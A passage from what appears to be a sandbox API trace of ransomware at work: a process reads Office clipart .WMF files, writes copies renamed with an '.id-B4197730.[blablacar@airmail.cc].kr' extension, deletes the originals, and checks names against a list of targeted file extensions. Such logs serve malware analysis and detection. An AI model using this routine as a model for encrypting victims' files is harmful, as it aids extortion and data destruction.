office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.645] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2900) returned 1 [0206.645] CloseHandle (hObject=0x3f8) returned 1 [0206.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0206.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.645] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.645] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.646] GetLastError () returned 0x0 [0206.646] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xb54, lpOverlapped=0x0) returned 1 [0206.647] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xb60, lpOverlapped=0x0) returned 1 [0206.649] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.649] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.649] SetEndOfFile (hFile=0x53c) returned 1 [0206.649] CloseHandle (hObject=0x53c) returned 1 [0206.649] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.649] SetEndOfFile (hFile=0x3f8) returned 1 [0206.652] CloseHandle (hObject=0x3f8) returned 1 [0206.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0206.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.653] lstrlenW (lpString=".doc") returned 4 [0206.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString=".docx") returned 5 [0206.653] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.653] lstrlenW (lpString=".pdf") returned 4 [0206.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString=".xls") returned 4 [0206.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.653] lstrlenW (lpString=".xlsx") returned 5 [0206.653] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.653] lstrlenW (lpString=".ppt") returned 4 [0206.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.653] lstrlenW (lpString=".zip") returned 4 [0206.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.653] lstrlenW (lpString=".rar") returned 4 [0206.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString=".bz2") returned 4 [0206.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString=".7z") returned 3 [0206.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.653] lstrlenW (lpString=".dbf") returned 4 [0206.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.653] lstrlenW (lpString=".1cd") returned 4 [0206.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString=".jpg") returned 4 [0206.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString=".doc") returned 4 [0206.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString=".docx") returned 5 [0206.654] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.654] lstrlenW (lpString=".pdf") returned 4 [0206.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString=".xls") returned 4 [0206.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.654] lstrlenW (lpString=".xlsx") returned 5 [0206.654] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.654] lstrlenW (lpString=".ppt") returned 4 [0206.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString=".zip") returned 4 [0206.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.654] lstrlenW (lpString=".rar") returned 4 [0206.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString=".bz2") returned 4 [0206.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString=".7z") returned 3 [0206.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString=".dbf") returned 4 [0206.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.654] lstrlenW (lpString=".1cd") returned 4 [0206.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0206.655] lstrlenW (lpString=".jpg") returned 4 [0206.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.655] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.655] lstrlenW (lpString="J0105338.WMF") returned 12 [0206.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.655] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11584) returned 1 [0206.655] CloseHandle (hObject=0x3f8) returned 1 [0206.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0206.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.656] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.656] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.657] GetLastError () returned 0x0 [0206.657] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0206.897] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0206.899] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.899] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.899] SetEndOfFile (hFile=0x53c) returned 1 [0206.899] CloseHandle (hObject=0x53c) returned 1 [0206.899] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.899] SetEndOfFile (hFile=0x3f8) returned 1 [0206.902] CloseHandle (hObject=0x3f8) returned 1 [0206.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0206.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.904] lstrlenW (lpString=".doc") returned 4 [0206.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.904] lstrlenW (lpString=".docx") returned 5 [0206.904] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.904] lstrlenW (lpString=".pdf") returned 4 [0206.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString=".xls") returned 4 [0206.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.905] lstrlenW (lpString=".xlsx") returned 5 [0206.905] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.905] lstrlenW (lpString=".ppt") returned 4 [0206.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString=".zip") returned 4 [0206.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.905] lstrlenW (lpString=".rar") returned 4 [0206.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString=".bz2") returned 4 [0206.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString=".7z") returned 3 [0206.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString=".dbf") returned 4 [0206.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString=".1cd") returned 4 [0206.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString=".jpg") returned 4 [0206.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.905] lstrlenW (lpString=".doc") returned 4 [0206.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.905] lstrlenW (lpString=".docx") returned 5 [0206.905] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.905] lstrlenW (lpString=".pdf") returned 4 [0206.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString=".xls") returned 4 [0206.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.906] lstrlenW (lpString=".xlsx") returned 5 [0206.906] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.906] lstrlenW (lpString=".ppt") returned 4 [0206.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.906] lstrlenW (lpString=".zip") returned 4 [0206.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.906] lstrlenW (lpString=".rar") returned 4 [0206.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString=".bz2") returned 4 [0206.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString=".7z") returned 3 [0206.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.906] lstrlenW (lpString=".dbf") returned 4 [0206.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.906] lstrlenW (lpString=".1cd") returned 4 [0206.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0206.906] lstrlenW (lpString=".jpg") returned 4 [0206.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.906] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.906] lstrlenW (lpString="J0105390.WMF") returned 12 [0206.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.907] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4944) returned 1 [0206.907] CloseHandle (hObject=0x3f8) returned 1 [0206.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0206.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.908] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.908] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.909] GetLastError () returned 0x0 [0206.909] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1350, lpOverlapped=0x0) returned 1 [0206.911] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1360, lpOverlapped=0x0) returned 1 [0206.912] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.912] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.912] SetEndOfFile (hFile=0x53c) returned 1 [0206.912] CloseHandle (hObject=0x53c) returned 1 [0206.912] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.912] SetEndOfFile (hFile=0x3f8) returned 1 [0206.915] CloseHandle (hObject=0x3f8) returned 1 [0206.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString=".doc") returned 4 [0206.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString=".docx") returned 5 [0206.917] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.917] lstrlenW (lpString=".pdf") returned 4 [0206.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString=".xls") returned 4 [0206.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.917] lstrlenW (lpString=".xlsx") returned 5 [0206.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.917] lstrlenW (lpString=".ppt") returned 4 [0206.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString=".zip") returned 4 [0206.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.917] lstrlenW (lpString=".rar") returned 4 [0206.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString=".bz2") returned 4 [0206.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString=".7z") returned 3 [0206.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString=".dbf") returned 4 [0206.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString=".1cd") returned 4 [0206.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.917] lstrlenW (lpString=".jpg") returned 4 [0206.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString=".doc") returned 4 [0206.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString=".docx") returned 5 [0206.918] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.918] lstrlenW (lpString=".pdf") returned 4 [0206.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString=".xls") returned 4 [0206.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.918] lstrlenW (lpString=".xlsx") returned 5 [0206.918] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.918] lstrlenW (lpString=".ppt") returned 4 [0206.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString=".zip") returned 4 [0206.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.918] lstrlenW (lpString=".rar") returned 4 [0206.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString=".bz2") returned 4 [0206.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString=".7z") returned 3 [0206.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString=".dbf") returned 4 [0206.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString=".1cd") returned 4 [0206.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0206.918] lstrlenW (lpString=".jpg") returned 4 [0206.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.919] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.919] lstrlenW (lpString="J0105396.WMF") returned 12 [0206.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.920] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11012) returned 1 [0206.920] CloseHandle (hObject=0x3f8) returned 1 [0206.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 